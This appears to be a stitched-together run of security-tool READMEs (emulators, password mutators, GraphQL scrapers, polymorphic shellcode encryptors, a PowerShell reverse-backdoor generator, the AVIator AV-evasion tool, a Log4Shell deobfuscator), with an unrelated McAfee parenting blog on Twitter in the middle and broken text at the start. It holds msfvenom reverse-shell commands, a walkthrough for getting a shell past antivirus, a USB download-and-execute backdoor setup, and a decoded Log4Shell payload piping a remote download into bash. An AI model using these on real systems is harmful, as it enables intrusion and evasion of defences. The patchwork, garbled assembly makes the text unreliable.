return ntsyscal ls.ZwQueryInformationProcess(dp,
ProcessHandle,
ProcessInformationClass,
ProcessInformation,
ProcessInformationLength,
ReturnLength
)Since v0.2.0 there is support for easily declaring your own structures:
from dumpulator.native import *
class PROCESS_BASIC_INFORMATION(Struct):
ExitStatus: ULONG
PebBaseAddress: PVOID
AffinityMask: KAFFINITY
BasePriority: KPRIORITY
UniqueProcessId: ULONG_PTR
InheritedFromUniqueProcessId: ULONG_PTRTo instantiate these structures you have to use a Dumpulator instance:
pbi = PROCESS_BASIC_INFORMATION(dp)
assert ProcessInformationLength == Struct.sizeof(pbi)
pbi.ExitStatus = 259 # STILL_ACTIVE
pbi.PebBaseAddress = dp.peb
pbi.AffinityMask = 0xFFFF
pbi.BasePriority = 8
pbi.UniqueProcessId = dp.process_id
pbi.InheritedFromUniqueProcessId = dp.parent_process_id
ProcessInformation.write(bytes(pbi))
if ReturnLength.ptr:
dp.write_ulong(ReturnLength.ptr, Struct.sizeof(pbi))
return STATUS_SUCCESSIf you pass a pointer value as a second argument the structure will be read from memory. You can declare pointers with myptr: P[MY_STRUCT] and dereferences them with myptr[0].
There is a simple x64dbg plugin available called MiniDumpPlugin The minidump command has been integrated into x64dbg since 2022-10-10. To create a dump, pause execution and execute the command MiniDump my.dmp.
python -m pip install dumpulator
To install from source:
python setup.py install
Install for a development environment:
python setup.py develop
What sets dumpulator apart from sandboxes like speakeasy and qiling is that the full process memory is available. This improves performance because you can emulate large parts of malware without ever leaving unicorn. Additionally only syscalls have to be emulated to provide a realistic Windows environment (since everything actually is a legitimate process environment).
This is a command-line tool written in Python that applies one or more transmutation rules to a given password or a list of passwords read from one or more files. The tool can be used to generate transformed passwords for security testing or research purposes. Also, while you doing pentesting it will be very useful tool for you to brute force the passwords!!
How Passmute can also help to secure our passwords more?
PassMute can help to generate strong and complex passwords by applying different transformation rules to the input password. However, password security also depends on other factors such as the length of the password, randomness, and avoiding common phrases or patterns.
The transformation rules include:
reverse: reverses the password string
uppercase: converts the password to uppercase letters
lowercase: converts the password to lowercase letters
swapcase: swaps the case of each letter in the password
capitalize: capitalizes the first letter of the password
leet: replaces some letters in the password with their leet equivalents
strip: removes all whitespace characters from the password
The tool can also write the transformed passwords to an output file and run the transformation process in parallel using multiple threads.
Installation
git clone https://HITH-Hackerinthehouse/PassMute.git
cd PassMute
chmod +x PassMute.py
Usage To use the tool, you need to have Python 3 installed on your system. Then, you can run the tool from the command line using the following options:
python PassMute.py [-h] [-f FILE [FILE ...]] -r RULES [RULES ...] [-v] [-p PASSWORD] [-o OUTPUT] [-t THREAD_TIMEOUT] [--max-threads MAX_THREADS]
Here's a brief explanation of the available options:
-h or --help: shows the help message and exits
-f (FILE) [FILE ...], --file (FILE) [FILE ...]: one or more files to read passwords from
-r (RULES) [RULES ...] or --rules (RULES) [RULES ...]: one or more transformation rules to apply
-v or --verbose: prints verbose output for each password transformation
-p (PASSWORD) or --password (PASSWORD): transforms a single password
-o (OUTPUT) or --output (OUTPUT): output file to save the transformed passwords
-t (THREAD_TIMEOUT) or --thread-timeout (THREAD_TIMEOUT): timeout for threads to complete (in seconds)
--max-threads (MAX_THREADS): maximum number of threads to run simultaneously (default: 10)
NOTE: If you are getting any error regarding argparse module then simply install the module by following command: pip install argparse
Examples
Here are some example commands those read passwords from a file, applies two transformation rules, and saves the transformed passwords to an output file:
Single Password transmutation: python PassMute.py -p HITHHack3r -r leet reverse swapcase -v -t 50
Multiple Password transmutation: python PassMute.py -f testwordlists.txt -r leet reverse -v -t 100 -o testupdatelists.txt
Here Verbose and Thread are recommended to use in case you're transmutating big files and also it depends upon your microprocessor as well, it's not required every time to use threads and verbose mode.
Legal Disclaimer:
You might be super excited to use this tool, we too. But here we need to confirm! Hackerinthehouse, any contributor of this project and Github won't be responsible for any actions made by you. This tool is made for security research and educational purposes only. It is the end user's responsibility to obey all applicable local, state and federal laws.
It’s no secret that when it comes to social networks, teen preferences can change dramatically from year to year. That holds with Twitter. Even though the social network has seen a dip in use overall, Twitter has proven its staying power among certain communities, and that includes teens.
According to a 2022 Pew Center Study, 23 percent of teens online use Twitter (down from 33 percent in 2014-15). Because of Twitter’s loyal fanbase, it’s important for tweeting teens as well as parents, and caregivers to understand how to engage safely on the fast-moving platform.
Many teens love the public aspect of Twitter. They see it as a fun place to connect with friends and stay up to date on sports, school news, memes, online trends and challenges, and popular culture. However, because the platform’s brief, 140–280-word format is so distinct from other popular networks such as TikTok, YouTube, and Snapchat, the online etiquette and ground rules for engagement are also distinct.
As fun as Twitter content is to share and consume, the platform still comes with hidden risks (as do all social networks).
Here’s a guide to help your family understand safe Twitter use and still have fun on this unique social network.
This is likely one of the most important phrases you can convey to your child when it comes to using Twitter. Every word shared online can have positive or negative repercussions. Twitter’s fast-moving, ticker-like feed can tempt users to underestimate the impact of an impulsive, emotionally charged tweet. Words—digital words especially—can cause harm to the reputation of the person tweeting or to others.
For this reason, consider advising your kids to be extra careful when sharing their thoughts or opinions, retweeting others, or responding to others’ tweets. We all know too well that content shared carelessly or recklessly online can affect future college or career opportunities for years to come.
There’s little more important these days than protecting your family’s privacy. Every online risk can be traced to underestimating the magnitude of this single issue.
It’s never too early or too late to put the right tools in place to protect your family’s privacy online. While Twitter has privacy and reporting features designed to protect users, it’s wise to add a comprehensive identity and privacy protection solution to protect your family’s devices and networks.
Kids get comfortable with their online communities. This feeling of inclusion and belonging can lead to oversharing personal details. Discuss the importance of keeping personal details private online reminding your kids to never share their full name, address, phone number, or other identity or location-revealing details. This includes discerning posting photos that could include signage, school or workplace logos, and addresses. In addition, advise family members not to give away data just because there’s a blank. It’s wise to only share your birthday month and day and keep your birth year private.
When is the last time you reviewed social media account settings with your child? It’s possible that, over time, your child may have eased up on their settings. Privacy settings on Twitter are easy to understand and put in place. Your child’ can control their discoverability, set an account to be public or private, and protect their tweets from public search. It’s easy to filter out unwanted messages, limit messages from people you don’t follow, and limit who can see your Tweets or tag you in photos. It’s also possible to filter the topics you see.
Respecting others is foundational to engaging on any social network. This includes honoring the beliefs, cultures, traditions, opinions, and choices of others. Cyberbullying plays out in many ways on Twitter and one of those ways is by subtweeting. This vague form of posting is a form of digital gossip. Subtweeting is when one Twitter user posts a mocking or critical tweet that alludes to another Twitter user without directly mentioning their name. It can be cruel and harmful. Discuss the dangers of subtweeting along with the concept of empathy. Also, encourage your child to access the platform’s social media guidelines and know how to unfollow, block, and report cyberbullies on Twitter.
Maintaining a strong parent-child bond is essential to your child’s mental health and the first building block of establishing strong online habits. Has your child’s mood suddenly changed? Are they incessantly looking at their phone? Have their grades slipped? An online conflict, a risky situation, or some type of bullying may be the cause. You don’t have to hover over your child’s social feeds every day, but it’s important to stay involved in their daily life to support their mental health. If you do monitor their social networks, be sure to check the tone and intent of comments, captions, and replies. You will know bullying and subtweeting when you see it.
We love to quote Spiderman’s uncle Ben Parker and remind families that “with great power comes great responsibility” because it sums up technology ownership and social media engagement perfectly. The more time kids spend online, the more comfortable they can become and the more lapses in judgment can occur. Consider discussing (and repeating often) that social media isn’t a right, it’s a privilege that carries responsibility and consequences.
The FBI estimates there are approximately 500,000 predators active online each day and that they all have multiple profiles. Anonymous, catfish, and fake accounts abound online wooing even the savviest digital native into an unsafe situation. Engaging on any social network can expose kids to a wide array of possible dangers including scammers, catfishes, and predators. Scams and predator tactics continue to get more sophisticated. For this reason, it’s important to candidly talk about online predator awareness and the ever-evolving tactics bad actors will go to deceive minors online.
Twitter continues to attract tweens and teens who appreciate its brevity and breaking news. While navigating online safety and social media can be daunting for parents, it’s critical to stay engaged with your child and understand their digital life. By establishing an open flow of communication and regularly discussing privacy and appropriate online behavior, you can create a culture of openness in your family around important issues. We’re rooting for you!
The post How to Protect Your Family’s Privacy on Twitter: A Guide for Parents and Kids appeared first on McAfee Blog.
Finds related domains and IPv4 addresses to do threat intelligence after Indicator-Intelligence collects static files.
You can use virtualenv for package dependencies before installation.
git clone https://github.com/OsmanKandemir/indicator-intelligence.git
cd indicator-intelligence
python setup.py build
python setup.py install
The script is available on PyPI. To install with pip:
pip install indicatorintelligence
You can run this application on a container after build a Dockerfile.
docker build -t indicator .
docker run indicator --domains target-web.com --json
docker pull osmankandemir/indicator
docker run osmankandemir/indicator --domains target-web.com --json
pip install poetry
poetry install
-d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Targets. --domains target-web1.com target-web2.com
-p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
-a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
-o JSON, --json JSON JSON output. --json
See; CONTRIBUTING.md
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Shoggoth is an open-source project based on C++ and asmjit library used to encrypt given shellcode, PE, and COFF files polymorphically.
Shoggoth will generate an output file that stores the payload and its corresponding loader in an obfuscated form. Since the content of the output is position-independent, it can be executed directly as a shellcode. While the payload is executing, it decrypts itself at runtime. In addition to the encryption routine, Shoggoth also adds garbage instructions, that change nothing, between routines.
I started to develop this project to study different dynamic instruction generation approaches, assembly practices, and signature detections. I am planning to regularly update the repository with my new learnings.
Current features are listed below:
The general execution flow of Shoggoth for an input file can be seen in the image below. You can observe this flow with the default configurations.
Basically, Shoggoth first merges the precompiled loader shellcode according to the chosen mode (COFF or PE file) and the input file. It then adds multiple garbage instructions it generates to this merged payload. The stub containing the loader, garbage instruction, and payload is encrypted first with RC4 encryption and then with randomly generated block encryption by combining corresponding decryptors. Finally, it adds a garbage instruction to the resulting block.
While Shoggoth randomly generates instructions for garbage stubs or encryption routines, it uses AsmJit library.
AsmJit is a lightweight library for machine code generation written in C++ language. It can generate machine code for X86, X86_64, and AArch64 architectures and supports baseline instructions and all recent extensions. AsmJit allows specifying operation codes, registers, immediate operands, call labels, and embedding arbitrary values to any offset inside the code. While generating some assembly instructions by using AsmJit, it is enough to call the API function that corresponds to the required assembly operation with assembly operand values from the Assembler class. For each API call, AsmJit holds code and relocation information in its internal CodeHolder structure. After calling API functions of all assembly commands to be generated, its JitRuntime class can be used to copy the code from CodeHolder into memory with executable permission and relocate it.
While I was searching for a code generation library, I encountered with AsmJit, and I saw that it is widely used by many popular projects. That's why I decided to use it for my needs. I don't know whether Shoggoth is the first project that uses it in the red team context, but I believe that it can be a reference for future implementations.
Shoggoth can be used to encrypt given PE and COFF files so that both of them can be executed as a shellcode thanks to precompiled position-independent loaders. I simply used the C to Shellcode method to obtain the PIC version of well-known PE and COFF loaders I modified for my old projects. For compilation, I used the Makefile from HandleKatz project which is an LSASS dumper in PIC form.
Basically, in order to obtain shellcode with the C to Shellcode technique, I removed all the global variables in the loader source code, made all the strings stored in the stack, and resolved the Windows API functions' addresses by loading and parsing the necessary DLLs at runtime. Afterward, I determined the entry point with a linker script and compiled the code by using MinGW with various compilation flags. I extracted the .text section of the generated executable file and obtained the loader shellcode. Since the executable file obtained after editing the code as above does not contain any sections other than the .text section, the code in this section can be used as position-independent.
The source code of these can be seen and edited from COFFLoader and PELoader directories. Also compiled versions of these source codes can be found in stub directory. For now, If you want to edit or change these loaders, you should obey the signatures and replace the precompiled binaries from the stub directory.
Shoggoth first uses one of the stream ciphers, the RC4 algorithm, to encrypt the payload it gets. After randomly generating the key used here, it encrypts the payload with that key. The decryptor stub, which decrypts the payload during runtime, is dynamically created and assembled by using AsmJit. The registers used in the stub are randomly selected for each sample.
I referenced Nayuki's code for the implementation of the RC4 algorithm I used in Shoggoth.
After the first encryption is performed, Shoggoth uses the second encryption which is a randomly generated block cipher. With the second encryption, it encrypts both the RC4 decryptor and optionally the stub that contains the payload, garbage instructions, and loader encrypted with RC4. It divides the chunk to be encrypted into 8-byte blocks and uses randomly generated instructions for each block. These instructions include ADD, SUB, XOR, NOT, NEG, INC, DEC, ROL, and ROR. Operands for these instructions are also selected randomly.
Generated garbage instruction logic is heavily inspired by Ege Balci's amazing SGN project. Shoggoth can select garbage instructions based on jumping over random bytes, instructions with no side effects, fake function calls, and instructions that have side effects but retain initial values. All these instructions are selected randomly, and generated by calling the corresponding API functions of the AsmJit library. Also, in order to increase both size and different combinations, these generation functions are called recursively.
There are lots of places where garbage instructions can be put in the first version of Shoggoth. For example, we can put garbage instructions between block cipher instructions or RC4 cipher instructions. However, for demonstration purposes, I left them for the following versions to avoid the extra complexity of generated payloads.
I didn't compile the main project. That's why you have to compile yourself. Optionally, if you want to edit the source code of the PE loader or COFF loader, you should have MinGW on your machine to compile them by using the given Makefiles.
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by @R0h1rr1m
"Tekeli-li! Tekeli-li!"
Usage of Shoggoth.exe:
-h | --help Show the help message.
-v | --verbose Enable more verbose output.
-i | --input <Input Path> Input path of payload to be encrypted. (Mandatory)
-o | --output <Output Path> Output path for encrypted input. (Mandatory)
-s | --seed <Value> Set seed value for randomization.
-m | --mode <Mode Value> Set payload encryption mode. Available mods are: (Mandatory)
[*] raw - Shoggoth doesn't append a loader stub. (Default mode)
[*] pe - Shoggoth appends a PE loader stub. The input should be valid x64 PE.
[*] coff - Shoggoth appends a COFF loader stub. The input should be valid x64 COFF.
--coff-arg <Argument> Set argument for COFF loader. Only used in COFF loader mode.
-k | --key <Encryption Key> Set first encryption key instead of random key.
--dont-do-first-encryption Don't do the first (stream cipher) encryption.
--dont-do-second-encryption Don't do the second (block cipher) encryption.
--encrypt-only-decryptor Encrypt only decryptor stub in the second encryption.
"It was a terrible, indescribable thing vaster than any subway train—a shapeless congeries of protoplasmic bubbles, faintly self-luminous, and with myriads of temporary eyes forming and un-forming as pustules of greenish light all over the tunnel-filling front that bore down upon us, crushing the frantic penguins and slithering over the glistening floor that it and its kind had swept so evilly free of all litter." ~ H. P. Lovecraft, At the Mountains of Madness
A Shoggoth is a fictional monster in the Cthulhu Mythos. The beings were mentioned in passing in H. P. Lovecraft's sonnet cycle Fungi from Yuggoth (1929–30) and later described in detail in his novella At the Mountains of Madness (1931). They are capable of forming whatever organs or appendages they require for the task at hand, although their usual state is a writhing mass of eyes, mouths, and wriggling tentacles.
Since these creatures are like a sentient blob of self-shaping, gelatinous flesh and have no fixed shape in Lovecraft's descriptions, I want to give that name to a Polymorphic Encryptor tool.
The plugin is created to help automated scanning using Burp in the following scenarios:
Key advantages:
The inspiration for the plugin is from ExtendedMacro plugin: https://github.com/FrUh/ExtendedMacro
For usage with test application (Install this testing application (Tiredful application) from https://github.com/payatu/Tiredful-API)
Totally there are 4 different ways you can specify the error condition.
Idea : Record the Tiredful application request in BURP, configure the ATOR extender, check whether token is replaced by ATOR.
Please read CONTRIBUTING.md for details on our code of conduct, and the process for submitting pull requests to us.
v1.0
Authors from Synopsys - Ashwath Reddy (@ka3hk) and Manikandan Rajappan (@rmanikdn)
This software is released by Synopsys under the MIT license.
UI Panel was splitted into 4 different configuration. Check out the code from v2 or use the executable from v2/bin.
Graphicator is a GraphQL "scraper" / extractor. The tool iterates over the introspection document returned by the targeted GraphQL endpoint, and then re-structures the schema in an internal form so it can re-create the supported queries. When such queries are created is using them to send requests to the endpoint and saves the returned response to a file.
Erroneous responses are not saved. By default the tool caches the correct responses and also caches the errors, thus when re-running the tool it won't go into the same queries again.
Use it wisely and use it only for targets you have the permission to interact with.
We hope the tool to automate your own tests as a penetration tester and gives some push even to the ones that don't do GraphQLing test yet.
To learn how to perform assessments on GraphQL endpoints: https://cybervelia.com/?p=736&preview=true
python3 -m pip install -r requirements.txt
docker run --rm -it -p8005:80 cybervelia/graphicator --target http://the-target:port/graphql --verbose
When the task is done it zips the results and such zip is provided via a webserver served on port 8005. To kill the container, provide CTRL+C. When the container is stopped the data are deleted too. Also you may change the host port according to your needs.
python3 graphicator.py [args...]
The first step is to configure the target. To do that you have to provide either a --target option or a file using --file.
Setting a single target via arguments
python3 graphicator.py --target https://subdomain.domain:port/graphql
Setting multiple targets
python3 graphicator.py --target https://subdomain.domain:port/graphql --target https://target2.tld/graphql
Setting targets via a file
python3 graphicator.py --file file.txt
The file should contain one URL per line as such:
http://target1.tld/graphql
http://sub.target2.tld/graphql
http://subxyz.target3.tld:8080/graphql
You may connect the tool with any proxy.
Connect to the default burp settings (port 8080)
python3 graphicator.py --target target --default-burp-proxy
Connect to your own proxy
python3 graphicator.py --target target --use-proxy
Connect via Tor
python3 graphicator.py --target target --use-tor
python3 graphicator.py --target target --header "x-api-key:60b725f10c9c85c70d97880dfe8191b3"
python3 graphicator.py --target target --verbose
python3 graphicator.py --target target --multi
python3 graphicator.py --target target --insecure
python3 graphicator.py --target target --no-cache
python3 graphicator.py --target http://localhost:8000/graphql --verbose --multi
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/ (_ // __// _ `// _ \ / _ \ / // __// _ `// __// _ \ / __/
\___//_/ \_,_// .__//_//_//_/ \__/ \_,_/ \__/ \___//_/
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By @fand0mas
[-] Targets: 1
[-] Headers: 'Content-Type', 'User-Agent'
[-] Verbose
[-] Using cache: True
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0%| | 0/1 [00:00<?, ?it/s][*] Enumerating... http://localhost:8000/graphql
[*] Retrieving... => query {getArticles { id,title,views } }
[*] Retrieving... => query {getUsers { id,username,email,password,level } }
100%|█████████████████████████████████████████████| 1/1 [00:00<00:00, 35.78it/s]
$ cat reqcache-queries/9652f1e7c02639d8f78d1c5263093072fb4fd06c.query
query {getUsers { id,username,email,password,level } }
Three folders are created:
The filename is the hash which takes account the query and the url.
Copyright 2023 Cybervelia Ltd
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
The tools has been created and maintained by (@fand0mas).
Contribution is also welcome.
Reverse backdoor written in Powershell and obfuscated with Python. Allowing the backdoor to have a new signature after every run. Also can generate auto run scripts for Flipper Zero and USB Rubber Ducky.
usage: listen.py [-h] [--ip-address IP_ADDRESS] [--port PORT] [--random] [--out OUT] [--verbose] [--delay DELAY] [--flipper FLIPPER] [--ducky]
[--server-port SERVER_PORT] [--payload PAYLOAD] [--list--payloads] [-k KEYBOARD] [-L] [-H]
Powershell Backdoor Generator
options:
-h, --help show this help message and exit
--ip-address IP_ADDRESS, -i IP_ADDRESS
IP Address to bind the backdoor too (default: 192.168.X.XX)
--port PORT, -p PORT Port for the backdoor to connect over (default: 4444)
--random, -r Randomizes the outputed backdoor's file name
--out OUT, -o OUT Specify the backdoor filename (relative file names)
--verbose, -v Show verbose output
--delay DELAY Delay in milliseconds before Flipper Zero/Ducky-Script payload execution (default:100)
--flipper FLIPPER Payload file for flipper zero (includes EOL convers ion) (relative file name)
--ducky Creates an inject.bin for the http server
--server-port SERVER_PORT
Port to run the HTTP server on (--server) (default: 8080)
--payload PAYLOAD USB Rubber Ducky/Flipper Zero backdoor payload to execute
--list--payloads List all available payloads
-k KEYBOARD, --keyboard KEYBOARD
Keyboard layout for Bad Usb/Flipper Zero (default: us)
-A, --actually-listen
Just listen for any backdoor connections
-H, --listen-and-host
Just listen for any backdoor connections and host the backdoor directory
C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --verbose
[*] Encoding backdoor script
[*] Saved backdoor backdoor.ps1 sha1:32b9ca5c3cd088323da7aed161a788709d171b71
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stopA file in the current working directory will be created called backdoor.ps1
When using any of these attacks you will be opening up a HTTP server hosting the backdoor. Once the backdoor is retrieved the HTTP server will be shutdown.
C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --flipper powershell_backdoor.txt --payload execute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop
Place the text file you specified (e.g: powershell_backdoor.txt) into your flipper zero. When the payload is executed it will download and execute backdoor.ps1
C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --ducky --payload BindAndExecute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop
A file named inject.bin will be placed in your current working directory. Java is required for this feature. When the payload is executed it will download and execute backdoor.ps1
Tested on Windows 11, Windows 10 and Kali Linux
powershell.exe -File backdoor.ps1 -ExecutionPolicy Unrestricted┌──(drew㉿kali)-[/home/drew/Documents]
└─PS> ./backdoor.ps1sha1:c7a5fa3e56640ce48dcc3e8d972e444d9cdd2306
sha1:b32dab7b26cdf6b9548baea6f3cfe5b8f326ceda
sha1:e49ab36a7ad6b9fc195b4130164a508432f347db
sha1:ba40fa061a93cf2ac5b6f2480f6aab4979bd211b
sha1:f2e43320403fb11573178915b7e1f258e7c1b3f0
AviAtor Ported to NETCore 5 with an updated UI
About://name
AV: AntiVirus
Ator: Is a swordsman, alchemist, scientist, magician, scholar, and engineer, with the ability to sometimes produce objects out of thin air (https://en.wikipedia.org/wiki/Ator)
About://purpose
AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:
[https://attack.mitre.org/techniques/T1055/]:
Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.
Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.
The application has a form which consists of three main inputs (See screenshot bellow):
Important note: The shellcode should be provided as a C# byte array.
The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).
After filling the provided inputs and selecting the output path an executable is generated according to the chosen options.
In simple words, spoof an executable file to look like having an "innocent" extention like 'pdf', 'txt' etc. E.g. the file "testcod.exe" will be interpreted as "tesexe.doc"
Beware of the fact that some AVs alert the spoof by its own as a malware.
I guess you all know what it is :)
Getting a shell in a windows 10 machine running fully updated kaspersky AV
Create the payload using msfvenom
msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp
Use AVIator with the following settings
Target OS architecture: x64
Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)
Target procedure: explorer (leave the default)
Set the listener on the attacker machine
Run the generated exe on the victim machine
Windows:
Either compile the project or download the allready compiled executable from the following folder:
https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries
Linux:
Install Mono according to your linux distribution, download and run the binaries
e.g. in kali:
root@kali# apt install mono-devel
root@kali# mono aviator.exe
To Damon Mohammadbagher for the encryption procedure
I developed this app in order to overcome the demanding challenges of the pentest process and this is the ONLY WAY that this app should be used. Make sure that you have the required permission to use it against a system and never use it for illegal purposes.
PartyLoud is a highly configurable and straightforward free tool that helps you prevent tracking directly from your linux terminal, no special skills required. Once started, you can forget it is running. It provides several flags; each flag lets you customize your experience and change PartyLoud behaviour according to your needs.
This project was inspired by noisy.py
Clone the repository:
git clone https://github.com/realtho/PartyLoud.gitNavigate to the directory and make the script executable:
cd PartyLoud
chmod +x partyloud.shRun 'partyloud':
./partyloud.shUsage: ./partyloud.sh [options...]
-d --dns <file> DNS Servers are sourced from specified FILE,
each request will use a different DNS Server
in the list
!!WARNING THIS FEATURE IS EXPERIMENTAL!!
!!PLEASE LET ME KNOW ISSUES ON GITHUB !!
-l --url-list <file> read URL list from specified FILE
-b --blocklist <file> read blocklist from specified FILE
-p --http-proxy <http://ip:port> set a HTTP proxy
-s --https-proxy <https://ip:port> set a HTTPS proxy
-n --no-wait disable wait between one request and an other
-h --help dispaly this help In current release there is no input-validation on files.
If you find bugs or have suggestions on how to improve this features please help me by opening issues on GitHub
Default files are located in:
Please note that file name and extension are not important, just content of files matter
badwords is a keywords-based blocklist used to filter non-HTML content, images, document and so on.
The default config as been created after several weeks of testing. If you really think you need a custom blocklist, my suggestion is to start by copy and modifying default config according to your needs.
Here are some hints on how to create a great blocklist file:
| DO ✅ | DONT
|
|---|---|
| Use only ASCII chars | Define one-site-only rules |
| Try to keep the rules as general as possible | Define case-sensitive rules |
| Prefer relative path | Place more than one rule per line |
partyloud.conf is a ULR List used as starting point for fake navigation generators.
The goal here is to create a good list of sites containing a lot of URLs.
Aside suggesting you not to use google, youtube and social networks related links, I've really no hints for you.
DNSList is a List of DNS used as argument for random DNS feature. Random DNS is not enable by default, so the “default file” is really just a guide line and a test used while developing the function to se if everything was working as expected.
The only suggestion here is to add as much address as possible to increase randomness.
psudohash is a password list generator for orchestrating brute force attacks. It imitates certain password creation patterns commonly used by humans, like substituting a word's letters with symbols or numbers, using char-case variations, adding a common padding before or after the word and more. It is keyword-based and highly customizable.
System administrators and other employees often use a mutated version of the Company's name to set passwords (e.g. Am@z0n_2022). This is commonly the case for network devices (Wi-Fi access points, switches, routers, etc), application or even domain accounts. With the most basic options, psudohash can generate a wordlist with all possible mutations of one or multiple keywords, based on common character substitution patterns (customizable), case variations, strings commonly used as padding and more. Take a look at the following example:
The script includes a basic character substitution schema. You can add/modify character substitution patterns by editing the source and following the data structure logic presented below (default):
transformations = [
{'a' : '@'},
{'b' : '8'},
{'e' : '3'},
{'g' : ['9', '6']},
{'i' : ['1', '!']},
{'o' : '0'},
{'s' : ['$', '5']},
{'t' : '7'}
]
When it comes to people, i think we all have (more or less) set passwords using a mutation of one or more words that mean something to us e.g., our name or wife/kid/pet/band names, sticking the year we were born at the end or maybe a super secure padding like "!@#". Well, guess what?
No special requirements. Just clone the repo and make the script executable:
git clone https://github.com/t3l3machus/psudohash
cd ./psudohash
chmod +x psudohash.py
./psudohash.py [-h] -w WORDS [-an LEVEL] [-nl LIMIT] [-y YEARS] [-ap VALUES] [-cpb] [-cpa] [-cpo] [-o FILENAME] [-q]
The help dialog [ -h, --help ] includes usage details and examples.
--years and --append-numbering with a --numbering-limit ≥ last two digits of any year input, will most likely produce duplicate words because of the mutation patterns implemented by the tool.I'm gathering information regarding commonly used password creation patterns to enhance the tool's capabilities.
Deobfuscate Log4Shell payloads with ease.
Since the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.
This tool intends to unravel the true contents of obfuscated Log4Shell payloads.
For example, consider the following obfuscated payload:
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
After running Ox4Shell, it would transform into an intuitive and readable form:
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
This tool also aids to identify and decode base64 commands For example, consider the following obfuscated payload:
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
After running Ox4Shell, the tool reveals the attacker’s intentions:
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
Ox4Shell with a provided file (-f) rather than an inline payload (-p), because certain shell environments will escape important characters, therefore will yield inaccurate results.To run the tool simply:
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)
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| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
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Ox4Shell - Deobfuscate Log4Shell payloads with ease.
Created by https://oxeye.io
General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The ma ximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)
Targets:
Choose which target payloads to run Ox4Shell on
-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
